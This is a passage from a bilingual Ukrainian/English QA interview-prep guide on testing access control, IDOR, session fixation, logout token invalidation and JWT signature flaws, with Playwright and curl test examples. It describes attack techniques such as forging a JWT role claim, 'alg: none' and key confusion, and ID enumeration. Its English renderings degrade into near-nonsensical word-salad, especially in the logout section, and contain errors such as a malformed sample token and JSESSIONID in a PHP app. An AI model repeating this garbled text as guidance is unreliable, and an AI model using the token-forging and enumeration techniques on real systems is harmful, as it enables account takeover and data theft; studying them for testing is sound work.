  expect(response.status()).toBe(403);
});
💡 Що тут відбувається: Автотест на Playwright чітко показує різницю. Перший крок — автентифікація: ми виконуємо вхід, система нас знає, ми отримуємо дійсний токен empToken. Другий крок — авторизація: ми намагаємося зробити дію, яка доступна тільки HR. Оскільки токен валідний, система нас впізнає (тому немає 401), але нам бракує прав, тому перевірка очікує статускод 403.
💡 What is happening here: A Playwright automated test crisply illustrates the distinction. The first step is authentication: we log in, the system verifies an identity, and we retrieve a valid empToken. The second step is authorization: we attempt a protected action reserved for HR users. Because the token is valid, the system knows who we are (avoiding a 401 error), but since we lack the proper role permissions, the assertion expects a 403 status code.
🗣 Як читати вголос: Усе просто: автентифікація — це перевірка, чи ти той, за кого себе видаєш. Тобто логін, пароль, отримання токена. Авторизація — це вже після логіну: система дивиться, чи є в тебе права на конкретну дію, наприклад видалити статтю чи змінити пароль іншому юзеру. Коли я тестую AuthN, я граюся з некоректними кредами або простроченим JWT. А з AuthZ я роблю матрицю горизонтальних і вертикальних доступів між різними ролями в системі.
🗣 How to say it out loud: It's simple: authentication proves you are who you claim to be, like checking your username and password and handing over a valid token. Authorization kicks in right after; the system checks if your authenticated persona has the privileges to perform an action, like deleting an article. When I test AuthN, I mess with bad credentials and expired JWTs. But for AuthZ testing, I draw up a matrix covering horizontal and vertical privilege escalation scenarios.
12 Як відрізнити проблему автентифікації від проблеми авторизації (401 vs 403)?How to tell an authentication issue from permission issue (401 vs 403)?
Junior▶

Що це: HTTP-статуси 401 Unauthorized та 403 Forbidden — це стандартизовані відповіді сервера для обробки проблем безпеки. 401 означає відсутність або невалідність автентифікації (користувач не надав дійсного токена, сесії чи куки). 403 означає брак авторизації (сервер зрозумів запит, ідентифікував користувача, але відмовляється виконати дію через брак прав).

Навіщо/коли: Точне розрізнення цих статусів дозволяє розробникам та QA правильно діагностувати проблеми. Якщо фронтенд отримує 401, він має автоматично перенаправити користувача на екран логіна або оновити токен. Якщо він отримує 403, користувачу потрібно показати повідомлення типу "У вас немає прав для перегляду цієї сторінки", і редірект на логін не допоможе.

Приклад з реального проєкту: Під час API-тестування системи документообігу я надіслав запит DELETE /api/docs/1 без заголовка Authorization. Відповідь була 401. Потім я додав заголовок з токеном звичайного користувача (не адміна) до того ж запиту. Сервер перевірив токен, розпізнав мене, але видав 403 Forbidden, оскільки звичайний користувач не має права видаляти глобальні документи. Це еталонна поведінка REST API.

Підводні камені: Основний підводний камінь — плутанина в назві стандарту. RFC назвав код 401 "Unauthorized" (неавторизований), але по факту він означає неавтентифікований. Через це молоді розробники часто повертають 401 замість 403, що ламає флоу на фронтенді (починається нескінченний цикл редіректів на логін сторінку, хоча юзер залогінений). Також іноді навмисне повертають 404 Not Found замість 403, щоб приховати сам факт існування ресурсу від зловмисника.

Уточнююче питання: Чи є у нас політика повернення коду 404 замість 403 для надчутливих ресурсів, щоб уникнути розкриття інформації про їх існування?

What it is: HTTP status codes 401 Unauthorized and 403 Forbidden are standardized server responses for handling access control failures. A 401 status means authentication is missing or invalid (the client failed to provide a valid token, session, or cookie). A 403 status means authorization failed (the server understood the request and identified the user, but refuses to execute it due to insufficient permissions).

Why/when: Precisely distinguishing between these codes allows developers and QA teams to diagnose issues correctly. When a frontend application encounters a 401, its proper reaction is to proactively redirect the user to a login screen or attempt a token refresh. If it receives a 403, it should display a non-dismissible message like "You lack the necessary permissions," because a login redirect won't solve a permission deficit.

Real project example: During API testing of a document management system, I executed a DELETE /api/docs/1 request omitting the Authorization header entirely. I received a 401 response. Next, I injected a valid bearer token belonging to a basic user (non-admin) into the same request. The backend validated the token and recognized me, but appropriately returned a 403 Forbidden because a standard user role is barred from deleting global documents. This is textbook REST API behavior.

Pitfalls: The primary pitfall is the historical misnomer in the HTTP RFC standard itself. It named the 401 code "Unauthorized," when structurally it means unauthenticated. Consequently, junior developers frequently throw a 401 instead of a 403. This wreaks havoc on the frontend, often triggering endless redirect loops to the login page for already-authenticated users. Additionally, some teams purposefully return 404 Not Found instead of 403 to prevent enumeration and hide the existence of a resource.

Clarifying question: Do we have a security guideline to deliberately return a 404 Not Found rather than a 403 for ultrasensitive endpoints to thwart resource enumeration attacks?

Приклад / конфігурація:
Example / configuration:
# 1. Missing or invalid token -> 401
curl -i -X GET https://api.app.com/admin/panel
HTTP/1.1 401 Unauthorized
{"error": "Missing authentication token"}

# 2. Valid token but insufficient privileges -> 403
curl -i -H "Authorization: Bearer dev_token" https://api.app.com/admin/panel
HTTP/1.1 403 Forbidden
{"error": "You don't have permission to access admin panel"}
💡 Що тут відбувається: Ми перевіряємо два сценарії через curl. У першому випадку ми стукаємо на закритий шлях /admin/panel без жодних даних про себе і отримуємо статус 401. У другому випадку ми передаємо дійсний токен звичайного розробника. Сервер нас впізнає, 401 вже не кидає, але перевіряє роль, бачить, що ми не адмін, і відхиляє запит статусом 403.
💡 What is happening here: We are demonstrating two distinct test scenarios using curl. In the first snippet, we hit the protected /admin/panel endpoint anonymously, prompting a 401 status. In the second snippet, we supply a perfectly valid authentication token belonging to a basic developer. The server successfully identifies us, pushing past the 401 check, but examines our role, realizes we lack administrative privileges, and denies the request with a 403 status.
🗣 Як читати вголос: Усе зводиться до статускодів. 401 кидається, якщо токен протух, його змінили або він взагалі відсутній. Бекенд ніби каже: «Я не знаю, хто ти, йди залогінься». Тоді як 403 виникає, коли токен ідеальний, але в пейлоаді написано, що ми junior, а ми ліземо видаляти базу даних. Дуже часто в консолі браузера розробників плутає статус 401 Unauthorized, хоча технічно мало б бути Unauthenticated. Якщо на проєкті плутають ці коди, фронтенд вічно буде перекидати юзера на екран логіна.
🗣 How to say it out loud: It boils down to properly handling HTTP status codes. A 401 is thrown if a token is expired, maliciously tampered with, or just absent. The backend essentially says, 'I don't know who you are, go log in.' A 403 occurs when the token is perfectly valid, but it identifies us as a basic user while we're trying to drop a database. Devs often get confused by the 'Unauthorized' misnomer of 401. If a backend mixes these up, the frontend logic breaks, usually trapping the user in infinite redirection loops.
13 Що таке Broken Access Control і як він проявляється?What is Broken Access Control and how does it manifest?
Junior▶

Що це: Зламаний контроль доступу (Broken Access Control) — це вразливість, яка посідає перше місце в сучасному списку OWASP Top 10. Вона виникає, коли система неправильно або взагалі не перевіряє, чи має користувач права на виконання певної дії чи доступ до певних даних. Це глобальна категорія, яка включає IDOR, підвищення привілеїв, маніпуляції з метаданими та обхід перевірок маршрутів.

Навіщо/коли: Тестування контролю доступу є найважливішою частиною тестування безпеки бізнес-логіки. Автоматизовані сканери (DAST), як правило, погано знаходять такі баги, оскільки вони не розуміють контексту і ролей («чи може бухгалтер видалити запис відділу кадрів?»). Тому QA-інженери повинні писати автотести і мануально складати матрицю прав доступу для кожної ролі та кожного ендпоінта.

Приклад з реального проєкту: В адміністративній панелі налаштувань інтернет-магазину була кнопка «Завантажити всі звіти», видима лише адмінам. На фронтенді кнопка ховалася для звичайних менеджерів, але сам бекенд-маршрут (GET /api/v1/reports/export) зовсім не мав перевірки ролей. Ми зловили цей запит через інструменти розробника, залогінились під менеджером і через Postman надіслали той самий GET-запит. Сервер віддав повний архів звітів.

Підводні камені: Найрозповсюдженіший підводний камінь — "Security by Obscurity" або безпека через приховування. Коли розробники просто приховують UI-елементи на клієнті, але залишають бекенд відкритим. Інша проблема — відсутність fail-close механізму, коли за замовчуванням дія дозволена, а обмеження дописуються по ходу. Якщо розробник забуде додати декоратор @require_admin, функція миттєво стає вразливою.

Уточнююче питання: Чи є в нашому фреймворку підхід deny-by-default, де доступ до будь-якого нового ендпоінта автоматично блокується, поки явно не будуть прописані дозволені ролі?

What it is: Broken Access Control is a severe vulnerability that consistently ranks #1 on the modern OWASP Top 10 list. It occurs when a system fails to properly verify or enforce limitations on what authenticated users are allowed to do. It is a broad, overarching category encompassing IDOR, horizontal and vertical privilege escalation, metadata manipulation, and bypassing route protections.

Why/when: Validating access controls is arguably the most critical aspect of business logic security testing. Automated vulnerability scanners (DAST tools) generally fail at detecting these logical bugs because they lack contextual awareness of user roles ("Is the accountant supposed to edit HR records?"). Consequently, QA engineers must author automated tests and manually compile detailed Authorization Role Matrices to systematically hammer every endpoint.

Real project example: In an e-commerce backend dashboard, an "Export All Reports" button was conditionally rendered on the frontend only for Admin users. While the UI hid the button from standard Managers, the underlying backend endpoint (GET /api/v1/reports/export) lacked any role verification logic. We intercepted the request with DevTools, logged in with basic Manager credentials, and forcefully executed the GET request via Postman. The server gleefully spat out the entire financial archive.

Pitfalls: The most prevalent anti-pattern is "Security by Obscurity." Developers often fall into the trap of merely hiding UI elements (like removing buttons) while leaving the unprotected API endpoints widely exposed. Another major flaw is the absence of a fail-closed architecture, where actions are inherently permitted unless explicitly denied. Thus, if a developer simply forgets to add an @require_admin decorator, the new function becomes instantly exploitable.

Clarifying question: Does our framework employ a deny-by-default security posture, ensuring that an endpoint is inherently locked out until explicit role permissions are actively assigned to it?

Приклад / конфігурація:
Example / configuration:
// Example of broken vs secure access control in Express.js backend
app.delete('/api/users/:id', checkAuth, async (req, res) => {
  // BROKEN: Only checks if user is logged in, no role check!
  // await User.delete(req.params.id);
  
  // SECURE: Verifying both identity AND admin role
  if (req.user.role !== 'ADMIN') {
    return res.status(403).json({ error: 'Insufficient privileges' });
  }
  await User.delete(req.params.id);
  res.sendStatus(204);
});
💡 Що тут відбувається: Ми бачимо бекенд-код для видалення користувача. Перший закоментований підхід ілюструє Broken Access Control: мідлвар checkAuth гарантує лише, що токен валідний, але будь-який юзер міг би видаляти акаунти. Безпечний код додає явну авторизаційну перевірку: пересвідчується, що роль дорівнює ADMIN, інакше відкидає запит через 403 Forbidden.
💡 What is happening here: This snippet reveals backend code for deleting a user account. The commented-out broken iteration vividly illustrates Broken Access Control: the checkAuth middleware only ensures identical validity, permitting any authenticated user to delete accounts. The fortified code injects explicit authorization logic: validating that the requester's role translates strictly to ADMIN, tossing a 403 Forbidden intercept if it doesn't.
🗣 Як читати вголос: Broken Access Control — це найпопулярніша діра в безпеці. Це коли система пускає того, кого не мала б пускати. Сама класика: це коли на фронті ховають кнопку адмінки, але сам бекенд API не перевіряє роль. Тому мій улюблений баг-хант — зібрати колекцію запитів адміна, залогінитись під найнижчою роллю і прогнати ці запити через Postman runner. Якщо бекенд видає 200 OK і виконує дію замість 403, маємо серйозний баг, який сканери зазвичай знайти не можуть.
🗣 How to say it out loud: Broken Access Control is the most widespread security gap out there. It basically means the system unlocks doors it shouldn't. The classic blunder happens when developers hide an admin button on the frontend but leave the backend route completely unguarded. My favorite bug bounty move is grabbing admin endpoint collections, logging in as a standard grunt user, and firing them via Postman runner. If the server spits back 200 OKs rather than 403s, you've got a devastating flaw that DAST scanners blindly miss.
14 Що таке IDOR (Insecure Direct Object Reference)?What is IDOR (Insecure Direct Object Reference)?
Middle▶

Що це: IDOR — це підвид Broken Access Control (горизонтальне розширення привілеїв). Вразливість виникає, коли застосунок надає прямий доступ до об'єктів (наприклад, файлів або записів у БД) базуючись на ідентифікаторі (ID), що надається користувачем, без перевірки належності. Це означає, що змінивши /api/orders/5 на /api/orders/6, ви можете прочитати або змінити дані зовсім іншого користувача.

Навіщо/коли: Цю вразливість слід шукати у всіх REST API, де використовуються числові автоінкрементні ID у URL або в тілі запиту. Вона надзвичайно небезпечна, бо дозволяє масово викачувати чужі дані (scrapping/enumeration). Для тестування QA зазвичай створює двох окремих тестових користувачів, створює ресурс (наприклад, чек або кошик) від імені Користувача А, і намагається отримати або змінити його, використовуючи токен Користувача Б.

Приклад з реального проєкту: У медичному додатку результати аналізів завантажувалися через ендпоінт GET /api/v1/results/1042. Я зайшов під одним пацієнтом, отримав свій результат, а потім у Postman змінив цифру на 1043. Сервер повернув мені результати іншої людини, бо бекенд перевіряв лише факт авторизації (наявність JWT), але не перевіряв, чи patient_id у звіті співпадає з user_id у моєму токені. Це був критичний витік медичних даних.

Підводні камені: Популярний міф, що заміна числових ID на UUIDv4 (випадковий довгий рядок) повністю вирішує IDOR. Хоча UUID унеможливлює простий перебір (enumeration), це не виправляє саму відсутність перевірки прав. Якщо зловмисник якось дізнається UUID чужого ресурсу (наприклад, через Referer, лог або перехоплене посилання), IDOR все одно спрацює. Справжній фікс — це надійна перевірка авторизації на бекенді, незалежно від типу ідентифікатора.

Уточнююче питання: В усіх наших запитах ми використовуємо UUID, але чи є на бекенді для кожного доступу перевірка, чи належить цей ресурс саме поточному user_id з сесії/токену?

What it is: IDOR is a specific, destructive subtype of Broken Access Control involving horizontal privilege escalation. It surfaces when an application exposes direct access to internal objects (like database records or files) via a user-supplied identifier (ID) without validating ownership. Simply put, by manipulating a URL parameter from /api/orders/5 to /api/orders/6, an attacker can retrieve, alter, or destroy another user's restricted assets.

Why/when: This defect should be vigorously hunted in any RESTful API depending on predictable, incrementing IDs in its URI or payload. It poses a massive threat because it enables rapid, automated scraping of sensitive data through enumeration. QA engineers typically hunt this by spinning up two isolated test accounts, spawning a resource (like a private invoice) with User A, and ruthlessly attempting to manipulate or fetch that exact ID using the session token of User B.

Real project example: In a telehealth application, laboratory test results were requested via GET /api/v1/results/1042. Authenticated as Patient A, I intercepted my API request and simply bumped the ID to 1043 in Postman. Alarmingly, the server returned another patient's confidential results. The backend logic aggressively validated my JWT presence but entirely bypassed the sanity check confirming that the requested document's patient_id matched my token's user_id.

Pitfalls: A prevalent architectural myth suggests substituting predictable integers with UUIDv4 strings completely eradicates IDOR. Delusion! While UUIDs halt sequential ID guessing (enumeration), they do not patch the missing access control logic. If an attacker stumbles upon a victim's UUID—perhaps via a leaked Referer header, brute-force crawling, or a shared hyperlink—the intrinsic IDOR triggers perfectly. Genuine remediation necessitates enforcing robust contextual authorization matching the owner_id logic securely on the backend.

Clarifying question: Although we have transitioned to obfuscated UUIDs externally, can we guarantee that the backend concretely maps and evaluates every requested object against the user_id embedded within the authorizing token?

Приклад / конфігурація:
Example / configuration:
test('IDOR testing: UserB cannot read UserA invoice', async ({ request }) => {
  // Setup: Two separate authenticated clients
  const tokenA = await login('user_a');
  const tokenB = await login('user_b');

  // UserA creates an invoice and gets its ID
  const resA = await request.post('/api/invoices', { headers: { 'Authorization': tokenA } });
  const invoiceId = (await resA.json()).id;

  // UserB tries to access UserA's invoice
  const resB = await request.get(`/api/invoices/${invoiceId}`, { 
    headers: { 'Authorization': tokenB } 
  });
  
  // The server must block it with a 403 Forbidden or 404 Not Found
  expect([403, 404]).toContain(resB.status());
});
💡 Що тут відбувається: Класичний автотест на виявлення IDOR. Він створює сесії для двох різних користувачів (А і Б). Користувач А створює приватний ресурс (invoice) і дізнається його ID. Далі, найважливіший крок: скрипт бере токен Користувача Б і намагається отримати доступ до ресурсу по ID, який належить Користувачу А. Перевірка стверджує, що бекенд має захистити дані, повернувши статус 403 або 404.
💡 What is happening here: Here lies an aggressive automated test hunting IDOR flaws explicitly. It instantiates two distinct session tokens (User A and User B). User A generates a private asset (invoice), yielding a specific ID. In the critical exploit phase, the script weaponizes User B's token, attempting to extract identical data strictly bound to User A via the identified ID. The assertion mandates the API fiercely guard the entry, ensuring a 403 Forbidden or an obfuscating 404 Not Found response.
🗣 Як читати вголос: IDOR розшифровується як Insecure Direct Object Reference. Суть проста: уяви, ти заходиш в лікарню, здаєш номерок у гардероб. Твій номерок 10. Але ти просиш видати куртку номер 11, і тобі її видають. В API це виглядає так, коли ти змінюєш user_id, order_id або account_id в URL, і сервер бездумно віддає тобі чужі дані. Найкращий спосіб тестувати — автоматизувати процес паралельно для двох юзерів: перший щось створює, другий намагається це вкрасти або змінити, підставивши ID. Багато хто думає, що UUID повністю лікує це, але без перевірки власника на бекенді IDOR нікуди не зникає.
🗣 How to say it out loud: IDOR stands for Insecure Direct Object Reference, representing rampant horizontal privilege escalation. Think of it like checking an item at a coat room; you hand in coat check 10, but ask for coat 11 and just walk away with it. In APIs, this materializes when tampering with a user_id or order_id in the URL, letting you magically peek at another customer's data because the backend forgot to verify ownership. The golden testing rule means spinning up two separate actors: one generates an asset, and the neighboring actor aggressively targets that ID. And don't be fooled—using UUIDs doesn't fix IDOR; it merely stops iteration, forcing developers to still validate identical ownership strictly backward.
15 Що таке Session Fixation?What is Session Fixation?
Middle▶

Що це: Session Fixation (фіксація сесії) — це атака, при якій зловмисник примусово встановлює для жертви певне значення ідентифікатора сесії (session ID) ще до того, як жертва пройде автентифікацію. Якщо система не змінює session ID після успішного входу, браузер жертви продовжить використовувати нав'язаний ідентифікатор, але сесія вже буде авторизованою. Оскільки хакер знає цей ID з самого початку, він отримує повний доступ до акаунта жертви.

Навіщо/коли: Ця атака була дуже поширеною, коли session ID передавався прямо в URL параметрах (?PHPSESSID=123) і розробники забували перевипустити сесію. Зараз вона зустрічається рідше, завдяки сучасним фреймворкам, які ізолюють роботу з куками, але все ще виникає в legacy-коді чи самописних системах автентифікації. Перевірка фіксації сесії — обов'язковий тест-кейс переходу стану від "анонім" до "залогінений".

Приклад з реального проєкту: Я перевіряв legacy PHP-застосунок. Скопіював куку JSESSIONID ще до того, як натиснув кнопку логіна. Авторизувався і побачив, що у вкладці Application -> Cookies значення JSESSIONID не змінилось. Це означало, що якби я відправив жертві лінк з вшитим session ID або зміг підкласти його через XSS/доменні куки, я б отримав доступ до її кабінету одразу після її логіну. Баг виправили викликом функції session_regenerate_id().

Підводні камені: Основний контрзахід — абсолютна регенерація ідентифікатора сесії після успішної або неуспішної зміни контексту привілеїв. Крім цього, слід приймати session ID лише через cookie (без передачі в URL), використовувати прапорці HttpOnly, Secure та обмежити домен через префікси. Пам'ятайте, що якщо застосунок використовує JWT (Stateless токени, які генеруються лише після логіну), то атака Session Fixation до нього взагалі не застосовна.

Уточнююче питання: Враховуючи, що наше нове API повністю stateless і використовує JWT, чи можемо ми закрити застарілі ризики Session Fixation щодо нашої старих stateful панелей адміністратора?

What it is: Session Fixation is a vulnerability where an attacker forcefully binds a predetermined session identifier (session ID) to a victim's browser before the victim ever explicitly authenticates. When the system negligently reuses this same tainted ID post-login rather than refreshing it, the session achieves authorized state. Since the hacker orchestrated the exact session ID intentionally, they immediately inherit administrative access to the victim's authenticated profile.

Why/when: Highly prevalent throughout the early 2000s when primitive session IDs blatantly decorated URL parameters (?SESSION=hack), modern frameworks intrinsically rotate cookies safely, dampening its threat. Nonetheless, it aggressively creeps into legacy monoliths, bespoke authentication logic, and improperly configured middleware. Validating defense against Session Fixation remains a mandatory acceptance criteria whenever testing state transitions ranging from anonymous mapping to fully authenticated.

Real project example: While poking a legacy architecture, I intentionally grabbed the unauthenticated JSESSIONID cookie before typing credentials. Navigating through the login successfully, I inspected the browser DevTools and agonizingly noted the JSESSIONID string remained starkly identical. By theoretically embedding this ID into a crafted hyperlink or injecting it via subdomain vulnerabilities, a hacker could simply wait for the target to log in and instantly ride their hijacked session. A timely invocation of session_regenerate_id() seamlessly destroyed the bug.

Pitfalls: Eradication mandates absolute destruction and regeneration of the session ID immediately upon any privilege alteration (login, logout, privilege escalation). Supplementary safeguards heavily enforce receiving session IDs solely via strictly scoped cookies (discarding URL vectors) aggressively armored with HttpOnly and Secure flags. Crucially, recognize that modern stateless authentication architectures leaning fundamentally on JWTs cleanly bypass the Session Fixation vector entirely.

Clarifying question: Given our frontend transition leverages stateless authentication tokens primarily mapped to Authorization headers, does enforcing JWT boundaries systematically circumvent legacy Session Fixation vectors fundamentally plaguing our older portal APIs?

Приклад / конфігурація:
Example / configuration:
# Test sequence using curl for Session Fixation check

# 1. Access login page, get initial session ID (anonymous)
curl -c cookies.txt -s -I https://app.com/login | grep Set-Cookie
# Output: Set-Cookie: session=A1B2C3D4_old; HttpOnly

# 2. Perform login using the grabbed cookie
curl -b cookies.txt -c cookies_new.txt -d "user=test&pass=abc" https://app.com/api/login -s -I

# 3. Check if server issued a NEW session ID
cat cookies_new.txt | grep session
# Bug if output is: session=A1B2C3D4_old
# Secure if output is: session=X9Y8Z7_new_regenerated_id
💡 Що тут відбувається: За допомогою команд curl ми емулюємо атаку. На першому кроці ми отримуємо cookie сесії від сервера, будучи анонімом (ID: A1B2C3D4_old). Ми зберігаємо її у cookies.txt. На другому кроці робимо запит авторизації з логіном/паролем та нашою анонімною cookie. Головний фокус на третьому кроці: чи сервер прийняв старий ID, зробивши його авторизованим (вразливість), чи випустив абсолютно новий, відхиливши спробу фіксації?.
💡 What is happening here: Here, raw curl commands emulate the textbook attack choreography. Initially, we ping the server anonymously, grabbing a predesignated session=A1B2C3D4_old identifier cached tightly inside cookies.txt. The secondary maneuver issues a forceful authentication pipeline—embedding both credentials and the anonymous cookie snippet organically. The defining revelation lies at step three: Does the insecure API lazily echo back our predetermined session logic (Vulnerable), or aggressively override it demanding a pristine X9Y8Z7_new identifier natively (Secure)?
🗣 Як читати вголос: Session Fixation, або фіксація сесії, це коли хакер сам вигадує чи отримує session ID, змушує жертву його проковтнути, і чекає, поки жертва залогіниться. Коли це стається, сесія хакера стає повноцінною. Зазвичай це тестується дуже просто: відкриваємо вкладку Network, беремо значення cookie до логіну і після логіну. Якщо вони однакові — це блокер. Сервер має обов'язково викликати регенерацію ключа (ID) в момент зміни привілеїв (під час логіну). Але якщо використовуємо JWT токены, цієї проблеми взагалі немає, бо вони не існують до паролю.
🗣 How to say it out loud: Session Fixation is a tricky ambush where the attacker forces their pre-determined session ID onto an innocent victim's browser, then patiently watches them authenticate. Once the victim clears login, the attacker effortlessly controls an authorized mirrored connection. Whenever I test this logically, I snatch the session cookie's string in Developer Tools beforehand and meticulously contrast it directly post-login. Identical session hashes signify critical severity—always invoke hard ID regeneration at the server layer right after validating login coordinates. Although quite honestly, fully stateless API routes enforcing JWT architectures inherently squash Fixation out of the gate completely.
16 Як перевірити логаут та інвалідацію токена сесії?How to test logout and session token invalidation?
Senior▶

Що це: Інвалідація токена гарантує, що після того, як користувач натиснув "Logout", його поточна сесія чи токен безповоротно знищується на сервері. Це означає, що перехоплений або скопійований ідентифікатор сесії (куди би він не був вставлений) миттєво втрачає силу і повертає статус 401 Unauthorized, а не дозволяє подальший доступ до захищених ресурсів.

Навіщо/коли: Якщо токени лише видаляються з локального сховища (LocalStorage/Cookie), але залишаються валідними на бекенді, це створює величезну діру безпеки. Зловмисник, що перехопив токен або знайшов його на спільному комп'ютері (наприклад, в інтернет-кафе), матиме постійний доступ, поки не вийде час життя (expiration) токена. Вміння знаходити цей дефект — "must-have" для старших інженерів рівня Senior QA.

Приклад з реального проєкту: На великому фінтех-проєкті з JWT-авторизацією я помітив дивну поведінку. Під час логауту клієнт видаляв токен і показував гарну анімацію, але я скопіював JWT до логауту і підставив його в Postman. Сервер обробляв мої запити GET /api/balance і далі, бо бекенд перевіряв лише підпис та строк життя (який був 30 днів!), але не тримав "чорного списку" (blacklist) відкликаних токенів. Це вимагало серйозного рефакторингу логіки авторизації з використанням Redis для блокування старих токенів.

Підводні камені: Найбільша проблема з JWT (JSON Web Tokens) — це їхня stateless природа. За замовчуванням бекенд не знає про логаут, оскільки не зберігає стан сесії. Інвалідація JWT на сервері вимагає впровадження бази даних in-memory (як Redis) для збереження blacklist-у або переходу на схему short-lived Access token (живе 5-15 хвилин) + Refresh token. Інший момент — іноді кеш або CDN продовжують віддавати контент навіть при правильній інвалідації, якщо застосунок неправильно виставляє заголовки кешування.

Уточнююче питання: Як наша архітектура справляється з логаутом при stateless JWT підході: ми використовуємо чорні списки в Redis чи агресивні строги життя (наприклад, пару хвилин на Access token)?

What it is: Token invalidation logically guarantees that once a client executes an explicit "Logout" routine, the active session string or embedded token inevitably evaporates permanently across the backend axis. Even if violently compromised, intercepted, or stolen prior to logout, presenting archaic artifacts reliably yields fierce HTTP 401 Unauthorized assertions instead of maintaining malicious pipeline continuity securely.

Why/when: Permitting architectural ignorance whereby credentials are merely stripped locally (flushed from LocalStorage or browser Cookies) without aggressively purging identical traces globally exposes catastrophic risks. An adversarial actor intercepting residual session footprints retains uninhibited administrative leeway up until harsh token lifecycles strictly naturally decay. Demonstrating uncompromised awareness surrounding stateful purges firmly defines Senior QA boundaries explicitly distinguishing hardened architects.

Real project example: Overhauling an elite fintech platform strictly leaning into decentralized JWT deployments, I pinpointed significant architecture dissonance. Functioning logouts cleanly wiped client-side tokens beautifully masking underlying peril. Yet deliberately copying the identical JWT string beforehand and feeding it to Postman yielded full GET /api/balance parity hours later. The backend purely verified mathematical JWT cryptographic signatures without validating active session Blacklists (revocations). Repair mandated hardlining Redis instances dynamically catching and bouncing globally revoked states.

Pitfalls: Navigating JSON Web Tokens (JWT) profoundly introduces intrinsic stateless friction natively prohibiting basic logout paradigms out-of-the-box dynamically. Defeating this vulnerability absolutely warrants mapping a fiercely guarded dynamic Blacklist ledger mapping compromised elements using rapid In-Memory databases (like Redis), or pivoting strictly into minimal-scope Access Token architectures rigidly capped around 5-15 minute durations tightly paired against stateful Refresh workflows simultaneously. Additionally, aggressive CDN caching environments occasionally blindly output rendered data independent of logical validation.

Clarifying question: To safely accommodate asynchronous explicit user logouts across stateless JWT architecture models natively, do we govern immediate access destruction using distributed Redis revocation arrays, or rely entirely upon inherently accelerated expiration clocks logically?

Приклад / конфігурація:
Example / configuration:
test('Proper JWT invalidation after explicit logout', async ({ request }) => {
  // 1. Retrieve a valid active authentication token normally
  const token = await login('secure_user');
  
  // 2. Trigger the formal backend Logout routine
  const logoutResponse = await request.post('/api/auth/logout', {
    headers: { 'Authorization': `Bearer ${token}` }
  });
  expect(logoutResponse.status()).toBe(200);
  
  // 3. Critical Check: Attempt reusing the theoretically destroyed token
  const secureTry = await request.get('/api/user/profile', {
    headers: { 'Authorization': `Bearer ${token}` }
  });
  
  // Backend MUST reject the zombie token logically asserting 401 code!
  expect(secureTry.status()).toBe(401);
});
💡 Що тут відбувається: Playwright-тест чітко фокусується на поведінці сервера, а не браузера. Спочатку ми логінимося і зберігаємо дійсний токен в змінну. Далі надсилаємо запит на логаут, щоб сервер знав, що ми закінчили. Кульмінація: ми беремо той самий, скасований токен, і зухвало намагаємося отримати захищений профіль. Сервер повинен перевірити токен, знайти його у своїх чорних списках відкликання, і відхилити запит із 401 статусом.
💡 What is happening here: This Playwright paradigm deliberately sidesteps client-side browser illusions heavily focusing natively on core API revocation logic organically. Grabbing a pristine token, it successfully enacts explicit /logout pathways directly altering server constraints seamlessly. The critical execution relies entirely upon resubmitting the theoretically murdered token aggressively mapping protected endpoints gracefully. Rigidly enforcing expectations dictates backend routing accurately detects revocation and instantly throttles access imposing a strict 401 HTTP baseline code effectively.
🗣 Як читати вголос: З інвалідацією токенів головне пам'ятати, що видалення файлу куки в браузері — це не логаут серйозного бекенда. Токен має вмерти на стороні сервера. Я завждти перехоплюю токен до натискання "Вийти", натискаю кнопку, після чого відправляю запит на щось важливе в Postman з тим старим токеном. Якщо мене пустило всередину, значить бекенд не робить чорний список зниклих токенів — і це просто знахідка для викрадача. Окремий біль — це stateless JWT токени, для їх інвалідації розробникам доводиться будувати свої рішення на Redis.
🗣 How to say it out loud: A critical detail evaluating token invalidation involves differentiating front-end cookie-flushing garbage collection natively mapped against hardcore server-side token purging accurately. Removing UI indicators is useless if compromised bits function effectively globally. Therefore, grabbing token keys rapidly prior asserting log-outs and viciously pushing identical fragments directly impacting backend endpoints confirms server maturity dynamically. If it accepts dead tokens smoothly, vulnerabilities escalate swiftly. Real architectures heavily rely on implementing short-lifecycle parameters supplemented seamlessly relying on high-velocity Redis instance Blacklists logically enforcing true token death fundamentally across infrastructure.
17 Що таке JWT та які ризики пов'язані з його підписом?What is JWT and what risks are associated with its signature?
Middle▶

Що це: JSON Web Token (JWT) — це компактний та самодостатній стандарт (RFC 7519) для безпечної передачі інформації між сторонами у вигляді JSON-об'єкта. Він складається з трьох частин, розділених крапками: Header (заголовок), Payload (дані) та Signature (цифровий підпис), який гарантує цілісність даних.

Навіщо/коли: JWT активно використовується в сучасних мікросервісних архітектурах та SPA для безстатевої (stateless) автентифікації. QA зобов'язаний перевіряти, чи перевіряє сервер криптографічний підпис і чи не довіряє він зміненому пейлоаду без перевірки секрету.

Приклад з реального проєкту: Під час тестування API інженер перехопив JWT-токен у Burp Suite, розкодував його base64-пейлоад, змінив роль із role: user на role: admin і надіслав на бекенд. Сервер успішно прийняв токен, оскільки розробники реалізували декодування без перевірки криптографічного підпису або допускали алгоритм alg: none.

Підводні камені: Зберігання чутливих даних (паролів, персональних даних) у payload є грубою помилкою, оскільки base64 є кодуванням, а не шифруванням, і будь-хто може прочитати вміст токена в браузері.

Уточнююче питання: Як атака 'alg: none' та вразливість підміни ключів RS256 на HS256 компрометують JWT і як налаштувати сувору верифікацію алгоритмів на сервері?

What it is: JSON Web Token (JWT) is a compact, self-contained standard (RFC 7519) for securely transmitting information between parties as a JSON object. It consists of three dot-separated parts: Header, Payload, and Signature, which guarantees data integrity.

Why/when: JWTs are widely used in modern microservices and SPAs for stateless authentication. QA must verify whether the backend rigorously verifies cryptographic signatures and rejects tampered payloads.

Real project example: During API testing, an engineer intercepted a JWT in Burp Suite, decoded its base64 payload, modified role: user to role: admin, and replayed it. The server accepted it because developers decoded tokens without validating signatures or permitted the alg: none vulnerability.

Pitfalls: Storing sensitive data in the payload is a major security flaw since base64 is encoding, not encryption, and anyone can inspect token claims in client storage.

Clarifying question: How do 'alg: none' attacks and RS256-to-HS256 key confusion vulnerabilities compromise JWT implementations, and how do you enforce strict algorithm whitelisting?

Приклад / конфігурація:
Example / configuration:
eyJhbGciOiJIUzI1NiIsInR5cCIIkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiX3JvbGUiOiJhZG1pbiJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
💡 Що тут відбувається: Рядок демонструє три частини JWT (Header, Payload, Signature), розділені крапками, де зловмисник намагається маніпулювати claims усередині payload.
